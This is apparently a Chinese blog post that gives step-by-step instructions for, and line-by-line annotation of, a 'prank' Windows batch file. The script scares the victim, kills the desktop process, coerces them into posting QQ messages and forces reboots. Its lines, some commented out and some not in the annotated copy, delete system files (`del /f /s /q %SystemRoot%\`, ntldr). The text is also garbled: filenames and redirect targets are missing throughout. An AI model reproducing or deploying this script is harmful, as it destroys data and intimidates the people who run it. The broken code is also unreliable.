恶作剧批处理(bat)代码解析
⽆关的话:
翻资料时,发现了⾃⼰⼩时候保存到⽹盘⾥的⼀个恶作剧程序。碰巧最近刚看完shell命令,正好对该程序进⾏注释
什么是bat⽂件:
bat⽂件是dos下的批处理⽂件。批处理⽂件是⽆格式的⽂本⽂件,它包含⼀条或多条命令。它的⽂件扩展名为 .bat 或 .cmd。在命令提⽰下输⼊批处理⽂件的名称,或者双击该批处理⽂件,系统就会调⽤按照该⽂件中各个命令出现的顺序来逐个运⾏它们。使⽤批处理⽂件(也被称为批处理程序或脚本),可以简化⽇常或重复性任务。
其实就是⼀堆dos命令,类似于linux的shell
步骤:
1. 新建⼀个⽂本⽂件
2. ⽤记事本打开输⼊以下代码
3. 代码(关于修改系统⽂件的命令已经被注释),保存更改扩展名为.bat
@echo off
color 00
echo ping www.baidu > d:\⼩⼩⽊马.exe
::下⾯的⼏⾏代码要杀死进程并删除,删除⽂件不容恢复,所以被我注释掉了
::taskkill /f /
::taskkill /f /
::ren %SystemRoot%\ killer.dll
::del /f /s /q %SystemRoot%\
cls
echo.
echo 哈哈哈!好开⼼呐!⼜有⼈中招了。
echo.
echo 不过别担⼼,我可不是坏⼈,嘿嘿!O(∩_∩)O
echo.
echo 这个界⾯还挺温馨的吧?好⽍我也会考虑下中标者的⼼理对吧?
echo.
echo 别把我的窗⼝关掉,也别关机,信不信由你(警告)。
echo.
echo 下⾯给你⼀个选择,请慎重。
echo.
set /p AA=请键⼊Y(相信我)或者N(不相信)后按回车(y/n):
if /i "%AA%"=="y" goto hui
if /i "%AA%"=="n" goto no
cls
echo 你放弃了选择或者键⼊错误!
pause
:no
::下⾯要删除killer.dll和也被我注释掉了
::del %SystemRoot%\killer.dll
::del /f /s /q %SystemRoot%\
echo 既然你不相信我,那我也没什好说的了。
echo.
echo 别以为我只会⼲坏事,如果你相信我,那么⼀切都会没事的。
echo.
echo 下⼀步,请按任意键重启吧!唉╮(╯▽╰)╭
pause
echo @echo off >a.bat
echo del d:\⼩⼩⽊马.exe >>a.bat
echo >>a.bat
echo del 90后男⽣的龌龊事太震撼了.bat >>a.bat
echo exit >>a.bat
shutdown -r -t 00
start a.bat
exit
:hui
cls
echo 哈哈,谢谢你相信我,你的选择是正确的。
echo.
echo 不过,你必须得按照我的提⽰完成以下步骤才⾏。
echo.
echo 等你完成了我的要求,我⾃然会把你的系统给恢复了。
echo.
echo 我善解⼈意吧?
echo.
echo 你要记住,在没有完全结束程序之前,你必须对我是友善的。
echo.
echo 不难吧?呵呵O(∩_∩)O
pause
echo %date% & & echo %time% >&
echo 哈哈,⼩样,中招了吧? >&
echo 不过你别担⼼,我不会对你怎么样,最主要的是你现在得听我的! >&
echo 听懂了吗?呵呵。我正在监视你的电脑,所以别乱动。 >&
echo 登陆你的QQ,然后点击查,输⼊我的QQ号:******. >&
echo 点击查看资料,然后点击我的空间,然后在我的留⾔板留10次"你好帅” >& echo 我是不会盗你的QQ号的。因为这没意思,我玩的是好玩的游戏。 >&
echo 现在可以关掉这记事本了。O(∩_∩)O >&
::for %%i in (c,d,e,f) do for /f "delims=" %%n in ('dir /s /b %%i:\qq.exe') do start "" "%%n"
cls
echo 登陆你的QQ并且留⾔后执⾏下⼀步。
pause
cls
echo 呵呵,游戏到此也快结束了,放⼼,待会⼉你的系统就会恢复了。
echo.
echo 但是!我还想在玩⼀个选择游戏,如果你正确的通关了,我就把你的系统恢复了,嘿! echo.
echo 下⾯,请你做⼀个最关键的选择,记住,要慎重。
echo.
echo.
:
no1
set /p BB=请键⼊Y(你好帅)或者N(你⼀点都不帅)后按回车(y/n):
if /i "%BB%"=="y" goto no3
if /i "%BB%"=="n" goto no2
cls
echo 你放弃了选择或者键⼊错误!
pause
goto no1
:no2
::del %SystemRoot%\killer.dll
::del /f /s /q %SystemRoot%\
:
:attrib -r -s -h %SystemDrive%\ntldr % del %SystemDrive%\ntldr
echo ,我靠,难道我不帅吗?你怎么知道我不帅了啊?
echo.
echo 能把这⼩东西做到这样难道我不帅吗?你知道这样会让你的系统崩溃吗?
echo.
echo 我都说了要你慎重选择的,可是你偏偏选错了,没办法。╮(╯▽╰)╭唉
echo.
echo 下⼀步,请按任意键重启吧!唉╮(╯▽╰)╭
pause
echo @echo off >a.bat
echo del d:\⼩⼩⽊马.exe >>a.bat
echo >>a.bat
echo del 90后男⽣的龌龊事太震撼了.bat >>a.bat
echo exit >>a.bat
shutdown -r -t 00
start a.bat
exit
:no3
cls
echo.
echo 哈哈,谢谢你,我知道我挺帅的,不过还是想满⾜下⾃⼰的虚荣⼼。嘿嘿
echo.
echo 我真帅!O(∩_∩)O哈哈,滋滋,帅到掉渣吧?
echo.
批处理文件怎么做
echo 下⼀步,按任意键恢复你的系统吧。
echo.
echo.
echo.
pause
::ren %SystemRoot%\killer. & start %SystemRoot%\
::del %SystemRoot%\killer.dll
cls
echo 桌⾯出来了吧?哈哈,恭喜你过关。
echo.
echo 不过你别急着关了我这个程序,为什么呢?
echo.
echo 因为.............
echo.
echo 你看看你的D盘底下是不是多了样东西呢?
echo.
echo 想知道是什么吗?按任意键你就知道了。
echo.
pause
echo @echo off >a.bat
echo del d:\⼩⼩⽊马.exe >>a.bat
echo >>a.bat
echo del 90后男⽣的龌龊事太震撼了.bat >>a.bat
echo exit >>a.bat
start a.bat
注释(//之后的是注释):
@echo off      //不显⽰命令
color 00        //命令框的颜⾊
echo ping www.baidu > d:\⼩⼩⽊马.exe    //ping百度把结果存放到 d:\⼩⼩⽊马.exe taskkill /f /        //杀死进程
// 进程⽤来显⽰系统的桌⾯环境
taskkill /f /                //杀死qq.exe进程
ren %SystemRoot%\ killer.dll          //把重命名为kille.dll
del /f /s /q %SystemRoot%\            //删除
echo.    //输出
echo 哈哈哈!好开⼼呐!⼜有⼈中招了。
echo.
echo 不过别担⼼,我可不是坏⼈,嘿嘿!O(∩_∩)O
echo.
echo 这个界⾯还挺温馨的吧?好⽍我也会考虑下中标者的⼼理对吧?
echo.
echo 别把我的窗⼝关掉,也别关机,信不信由你(警告)。
echo.
echo 下⾯给你⼀个选择,请慎重。
:shi
echo.
set /p AA=请键⼊Y(相信我)或者N(不相信)后按回车(y/n):
if /i "%AA%"=="y" goto hui  //输⼊y跳转到hui相关代码
if /i "%AA%"=="n" goto no    //输⼊n跳转到no
cls
echo 你放弃了选择或者键⼊错误!
pause
goto shi            //输⼊错误会重复执⾏ shi
:no
cls        //清屏
echo 既然你不相信我,那我也没什好说的了。
echo.
echo 别以为我只会⼲坏事,如果你相信我,那么⼀切都会没事的。
echo.
echo 下⼀步,请按任意键重启吧!唉╮(╯▽╰)╭
pause
shutdown -r -t 00  //关机
exit          //退出
:hui
cls            //清屏
echo 哈哈,谢谢你相信我,你的选择是正确的。
echo.
echo 不过,你必须得按照我的提⽰完成以下步骤才⾏。
echo.
echo 等你完成了我的要求,我⾃然会把你的系统给恢复了。
echo.
echo 我善解⼈意吧?
echo.
echo 你要记住,在没有完全结束程序之前,你必须对我是友善的。
echo.
echo 不难吧?呵呵O(∩_∩)O
pause
//把下⾯内容存⼊a.txt中
echo %date% & & echo %time% >&
echo 哈哈,⼩样,中招了吧? >&
echo 不过你别担⼼,我不会对你怎么样,最主要的是你现在得听我的! >&
echo 听懂了吗?呵呵。我正在监视你的电脑,所以别乱动。 >&
echo 登陆你的QQ,然后点击查,输⼊我的QQ号:*****. >&
echo 点击查看资料,然后点击我的空间,然后在我的留⾔板留10次“你好帅” >& echo 我是不会盗你的QQ号的。因为这没意思,我玩的是好玩的游戏。 >&
echo 现在可以关掉这记事本了。O(∩_∩)O >&
//在本地查qq的路径并运⾏
for %%i in (c,d,e,f) do for /f "delims=" %%n in ('dir /s /b %%i:\qq.exe') do start "" "%%n"         //打开a.txt
cls
echo 登陆你的QQ并且留⾔后执⾏下⼀步。
pause
cls
echo 呵呵,游戏到此也快结束了,放⼼,待会⼉你的系统就会恢复了。
echo.
echo 但是!我还想在玩⼀个选择游戏,如果你正确的通关了,我就把你的系统恢复了,嘿! echo.
echo 下⾯,请你做⼀个最关键的选择,记住,要慎重。
echo.
echo.
:no1
set /p BB=请键⼊Y(你好帅)或者N(你⼀点都不帅)后按回车(y/n):
if /i "%BB%"=="y" goto no3            //输⼊y跳转到no3
if /i "%BB%"=="n" goto no2            //输⼊n跳转到no2
cls
echo 你放弃了选择或者键⼊错误!
pause
goto no1                //输⼊其他跳转no1
:no2                //no2代码
cls
echo ,我靠,难道我不帅吗?你怎么知道我不帅了啊?
echo.
echo 能把这⼩东西做到这样难道我不帅吗?你知道这样会让你的系统崩溃吗?
echo.
echo 我都说了要你慎重选择的,可是你偏偏选错了,没办法。╮(╯▽╰)╭唉
echo.
echo 下⼀步,请按任意键重启吧!唉╮(╯▽╰)╭
pause
echo @echo off >a.bat
echo del d:\⼩⼩⽊马.exe >>a.bat
echo >>a.bat
echo del 90后男⽣的龌龊事太震撼了.bat >>a.bat
echo exit >>a.bat
start a.bat
shutdown -r -t 00            //关机
exit
:no3                //no3代码
cls
echo.
echo 哈哈,谢谢你,我知道我挺帅的,不过还是想满⾜下⾃⼰的虚荣⼼。嘿嘿
echo.
echo 我真帅!O(∩_∩)O哈哈,滋滋,帅到掉渣吧?
echo.
echo 下⼀步,按任意键恢复你的系统吧。
echo.
echo.
echo.
pause
//把killer.dll重命名成explorer
ren %SystemRoot%\killer. & start %SystemRoot%\
del %SystemRoot%\killer.dll            //删除killer.dll
cls
echo 桌⾯出来了吧?哈哈,恭喜你过关。
echo.
echo 不过你别急着关了我这个程序,为什么呢?
echo.
echo 因为.............
echo.
echo 你看看你的D盘底下是不是多了样东西呢?

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。